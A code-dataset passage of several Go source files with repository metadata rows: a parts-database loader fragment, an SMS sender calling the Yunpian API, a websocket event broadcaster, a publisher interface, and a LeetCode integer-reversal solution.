uint64) string { data := db.GetData(key) if int(index) >= len(data.Assets) { return "" } return data.GetPart(index) } func readNBits(r *Reader, n int) uint64 { i, err := r.ReadInt(n) if err != nil { panic(err) } return i } func loadPartMap(file string) (m map[string]string, err error) { bs, err := ioutil.ReadFile(file) if err != nil { return } err = json.Unmarshal(bs, &m) return } func loadPartsDatabase(file string) (db PartsDatabase, err error) { bs, err := ioutil.ReadFile(file) if err != nil { return } err = json.Unmarshal(bs, &db) return }
true
e38bab04584aa1a361036d29b80729ff3ce1d876
Go
baiyishaoxia/goWeb
/src/app/models/sms.go
UTF-8
2,899
2.625
3
[]
no_license
[]
no_license
package models import ( "app" "databases" "encoding/json" "fmt" "io/ioutil" "net/http" "net/url" ) type Sms struct { Id int32 `json:"id"` Name string `json:"name"` // 短信类型 Sign string `json:"sign"` // 短信签名 IsEnable bool `json:"not null default false BOOL"` // 是否开启true 开启,false关闭 Key string `json:"key"` // 唯一标识分类 CreatedAt app.Time `xorm:"created" json:"created_at"` UpdatedAt app.Time `xorm:"updated" json:"-"` } type SmsInfo struct { Sms `xorm:"extends"` SmsKey `xorm:"extends"` } //region 获取模板签名、秘钥 [prefix:手机号前缀 YunPian:中文签名 YunPianEng:英文签名] Author:tang func GetSmsInfo(prefix string) *SmsInfo { sms_info := new(SmsInfo) if prefix == "+86" { has, err := databases.Orm.Table("sms").Join("LEFT", "sms_key", "sms.id = sms_key.sms_id"). Where("sms.key = ?", "YunPian").Get(sms_info) if err != nil { fmt.Println(err.Error()) return nil } if has == false { fmt.Println("获取YunPian失败") return nil } } else { has, err := databases.Orm.Table("sms").Join("LEFT", "sms_key", "sms.id = sms_key.sms_id"). Where("sms.key = ?", "YunPianEng").Get(sms_info) if err != nil { fmt.Println(err.Error()) return nil } if has == false { fmt.Println("获取YunPianEng失败") return nil } } return sms_info } //endregion //region 短信类型 [flag: 内容类型] Author:tang func SendSmsByType(flag int64, user_id int64, title string) { user := GetUserById(user_id) prefix := user.AreaCode sms_info := GetSmsInfo(prefix) apikey := sms_info.SmsKey.Key // 运营商秘钥 sign := sms_info.Sms.Sign // 短信签名 var text string //-------根据flag 调用模板------- switch flag { case 1: text = "【" + sign + "】" + "您好" break case 2: text = "【" + sign + "】" + "" break case 3: text = "【" + sign + "】" + "" break case 4: text = "【" + sign + "】" + "" break case 5: text = "【" + sign + "】" + "" break case 6: text = "【" + sign + "】" + "" break } deal_mobile := prefix + user.Mobile url_send_sms := "https://sms.yunpian.com/v2/sms/single_send.json" data_send_sms := url.Values{"apikey": {apikey}, "mobile": {deal_mobile}, "text": {text}} //发送请求 resp, err := http.PostForm(url_send_sms, data_send_sms) if err != nil { fmt.Println(err.Error()) // handle error } defer resp.Body.Close() body, err := ioutil.ReadAll(resp.Body) if err != nil { fmt.Println(err.Error()) // handle error } smsData := make(map[string]interface{}) json.Unmarshal(body, &smsData) //回调参数发送成功还是失败 a := smsData["code"].(float64) if a != 0 { fmt.Println("发送失败") } else { fmt.Println("发送成功") } //endregion }
true
67c8968385e8536836e5d734020855097c74cbdb
Go
dgmann/document-manager
/api/internal/http/websocket.go
UTF-8
1,933
2.6875
3
[ "MIT" ]
permissive
[ "MIT" ]
permissive
package http import ( "encoding/json" "github.com/dgmann/document-manager/api/internal/event" "github.com/dgmann/document-manager/api/pkg/api" "github.com/go-chi/chi/v5" "github.com/sirupsen/logrus" "gopkg.in/olahol/melody.v1" "net/http" "sync" ) type WebsocketController struct { Subscriber event.Subscriber } func (w *WebsocketController) getWebsocketHandler() http.Handler { r := chi.NewRouter() m := melody.New() ws := NewWebSocketService() r.Get("/", func(w http.ResponseWriter, req *http.Request) { if err := m.HandleRequest(w, req); err != nil { if _, werr := w.Write([]byte(err.Error())); werr != nil { logrus.Error(werr) } } }) m.HandleConnect(func(s *melody.Session) { ws.AddClient(NewClient(s)) }) m.HandleDisconnect(func(s *melody.Session) { ws.RemoveClient(s) }) go publishEvents(m, w.Subscriber) return r } func publishEvents(m *melody.Melody, subscriber event.Subscriber) { events := subscriber.Subscribe(api.EventTypeCreated, api.EventTypeDeleted, api.EventTypeUpdated) for e := range events { data, _ := json.Marshal(e) err := m.Broadcast(data) if err != nil { logrus.Debug(err) } } } type Client struct { Name string session *melody.Session } func NewClient(session *melody.Session) *Client { return &Client{Name: "", session: session} } type WebsocketService struct { clients map[*melody.Session]*Client mutex *sync.Mutex } func NewWebSocketService() *WebsocketService { return &WebsocketService{clients: make(map[*melody.Session]*Client), mutex: new(sync.Mutex)} } func (ws *WebsocketService) AddClient(client *Client) { ws.mutex.Lock() ws.clients[client.session] = client ws.mutex.Unlock() } func (ws *WebsocketService) RemoveClient(session *melody.Session) { ws.mutex.Lock() delete(ws.clients, session) ws.mutex.Unlock() } func (ws *WebsocketService) GetClient(session *melody.Session) *Client { return ws.clients[session] }
true
7981c85692e6fd97bb8ce796f69984def758c347
Go
tanbinh123/open-social
/eventing/publisher.go
UTF-8
212
2.515625
3
[ "MIT" ]
permissive
[ "MIT" ]
permissive
package eventing import "context" // Publisher is a high-level interface used to publish messages to a sub/pub. type Publisher interface { Publish(ctx context.Context, key string, message interface{}) error }
true
9e562d045bd5695570c3a0ae415eb9d6c446c38b
Go
iinux/JohannCarlFriedrichGauss
/leetcode/reverse-integer.go
UTF-8
614
3.125
3
[]
no_license
[]
no_license
package main import "strconv" func main() { println(reverse(123)) println(reverse(-123)) println(reverse(120)) println(reverse(0)) println(reverse(1534236469)) println(INT_MIN, INT_MAX) } const INT_MAX = int(^uint32(0) >> 1) const INT_MIN = ^INT_MAX func reverse(x int) int { lz := false if x < 0 { lz = true x = -x } y := []byte(strconv.Itoa(x)) l := len(y) for i := 0 ; i < l; i++ { a := i b := l - i - 1 if a > b { break } t := y[a] y[a] = y[b] y[b] = t } r, _ := strconv.Atoi(string(y)) if lz { r = -r } if r > INT_MAX || r < INT_MIN { return 0 } return r }
true